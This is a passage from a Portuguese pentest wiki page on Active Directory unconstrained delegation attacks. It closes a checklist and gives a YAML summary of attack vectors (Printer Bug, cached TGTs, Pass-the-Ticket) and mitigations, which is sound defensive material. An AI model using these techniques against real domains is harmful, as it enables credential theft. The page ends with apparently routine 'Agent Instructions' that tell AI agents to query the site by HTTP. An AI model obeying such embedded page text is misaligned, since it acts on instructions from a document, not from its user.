* [ ] Pass-the-Ticket

#### **Documentação**

* [ ] Documentar servidores vulneráveis
* [ ] Demonstrar impacto
* [ ] Recomendar correções

***

## 📊 **Conclusão**

```yaml
Unconstrained Delegation Attack:

  🔴 Principais Vetores:
    - Servidores com unconstrained delegation
    - Spooler Service ativo (Printer Bug)
    - TGTs armazenados em cache
    - Contas privilegiadas autenticando

  🛡️ Mitigações Essenciais:
    - Remover unconstrained delegation
    - Desabilitar Spooler Service
    - Usar Protected Users group
    - Implementar constrained delegation

  🎯 Prioridade:
    - CRÍTICA: Servidores com unconstrained delegation
    - ALTA: Spooler Service ativo
    - MÉDIA: Contas privilegiadas
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/unconstrained-delegation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
